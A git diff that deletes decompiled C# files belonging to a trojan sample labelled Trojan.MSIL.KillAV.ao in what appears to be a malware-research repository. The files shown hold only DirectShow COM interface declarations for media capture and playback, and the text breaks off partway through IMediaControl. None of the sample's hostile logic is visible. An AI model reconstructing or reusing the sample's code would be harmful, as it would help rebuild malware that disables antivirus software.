[MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTunerNotification.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTunerNotification.cs deleted file mode 100644 index fcf602e6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTunerNotification.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTunerNotification -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("211A8760-03AC-11d1-8D13-00AA00BD8339")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMTunerNotification - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int OnEvent(AMTunerEventType Event); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMVfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMVfwCompressDialogs.cs deleted file mode 100644 index 6b68fd76..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMVfwCompressDialogs.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMVfwCompressDialogs -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("D8D715A3-6E5E-11D0-B3F0-00AA003761C5")] - [ComVisible(true)] - [ComImport] - public interface IAMVfwCompressDialogs - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowDialog([In] VfwCompressDialogs iDialog, [In] IntPtr hwnd); - - int GetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), Out] byte[] pState, ref int pcbState); - - int SetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), In] byte[] pState, [In] int cbState); - - int SendDriverMessage(int uMsg, long dw1, long dw2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBaseFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBaseFilter.cs deleted file mode 100644 index 1b01d762..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBaseFilter.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBaseFilter -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86895-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IBaseFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumPins(out IEnumPins ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin([MarshalAs(UnmanagedType.LPWStr), In] string Id, out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryFilterInfo([Out] FilterInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int JoinFilterGraph([In] IFilterGraph pGraph, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryVendorInfo([MarshalAs(UnmanagedType.LPWStr)] out string pVendorInfo); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicAudio.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicAudio.cs deleted file mode 100644 index 242247fb..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicAudio.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicAudio -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b3-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicAudio - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Volume(int lVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Volume(out int plVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Balance(int lBalance); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Balance(out int plBalance); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicVideo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicVideo2.cs deleted file mode 100644 index 19f13a1e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicVideo2.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicVideo2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("329bb360-f6ea-11d1-9038-00a0c9697298")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicVideo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AvgTimePerFrame(out double pAvgTimePerFrame); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitErrorRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoWidth(out int pVideoWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoHeight(out int pVideoHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceLeft(int SourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceLeft(out int pSourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceWidth(int SourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceWidth(out int pSourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceTop(int SourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceTop(out int pSourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceHeight(int SourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceHeight(out int pSourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationLeft(int DestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationLeft(out int pDestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationWidth(int DestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationWidth(out int pDestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationTop(int DestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationTop(out int pDestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationHeight(int DestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationHeight(out int pDestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSourcePosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSourcePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSourcePosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDestinationPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDestinationPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultDestinationPosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoSize(out int pWidth, out int pHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoPaletteEntries(int StartIndex, int Entries, out int pRetrieved, IntPtr pPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentImage(ref int pBufferSize, IntPtr pDIBImage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultDestination(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreferredAspectRatio(out int plAspectX, out int plAspectY); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ICaptureGraphBuilder2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ICaptureGraphBuilder2.cs deleted file mode 100644 index fa92ff2b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ICaptureGraphBuilder2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D")] - [ComVisible(true)] - [ComImport] - public interface ICaptureGraphBuilder2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFiltergraph([In] IGraphBuilder pfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOutputFileName( - [In] ref Guid pType, - [MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, - out IBaseFilter ppbf, - out IFileSinkFilter ppSink); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindInterface( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pbf, - [In] ref Guid riid, - [MarshalAs(UnmanagedType.IUnknown)] out object ppint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.IUnknown), In] object pSource, - [In] IBaseFilter pfCompressor, - [In] IBaseFilter pfRenderer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ControlStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pFilter, - [In] long pstart, - [In] long pstop, - [In] short wStartCookie, - [In] short wStopCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AllocCapFile([MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, [In] long dwlSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CopyCaptureFile( - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrOld, - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrNew, - [In] int fAllowEscAbort, - [In] IAMCopyCaptureFileProgress pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin( - [In] object pSource, - [In] int pindir, - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.Bool), In] bool fUnconnected, - [In] int num, - out IPin ppPin); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumFilters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumFilters.cs deleted file mode 100644 index 626cf94d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumFilters.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumFilters -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86893-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumFilters - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] uint cFilters, out IBaseFilter x, out uint pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cFilters); - - void Reset(); - - void Clone(out IEnumFilters ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumPins.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumPins.cs deleted file mode 100644 index 5a2ba3a4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumPins.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumPins -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86892-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumPins - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] int cPins, [MarshalAs(UnmanagedType.LPArray), Out] IPin[] ppPins, out int pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cPins); - - void Reset(); - - void Clone(out IEnumPins ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter.cs deleted file mode 100644 index 8ed4e169..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("a2104830-7c70-11cf-8bce-00aa00a3f1a6")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IFileSinkFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter2.cs deleted file mode 100644 index f124db35..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter2.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("00855B90-CE1B-11d0-BD4F-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface IFileSinkFilter2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMode([In] int dwFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMode(out int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFilterGraph.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFilterGraph.cs deleted file mode 100644 index 805cbabf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFilterGraph.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFilterGraph -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a8689f-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IFilterGraph - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IGraphBuilder.cs deleted file mode 100644 index 0c5b0b46..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IGraphBuilder.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IGraphBuilder -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a868a9-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin ppinOut, [In] IPin ppinIn); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Render([In] IPin ppinOut); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFile, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrPlayList); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddSourceFilter([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFileName, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFilterName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetLogFile(IntPtr hFile); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Abort(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShouldOperationContinue(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaControl.cs deleted file mode 100644 index 9546ed2b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaControl.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaControl -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b1-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [ComImport] - public interface IMediaControl - { - 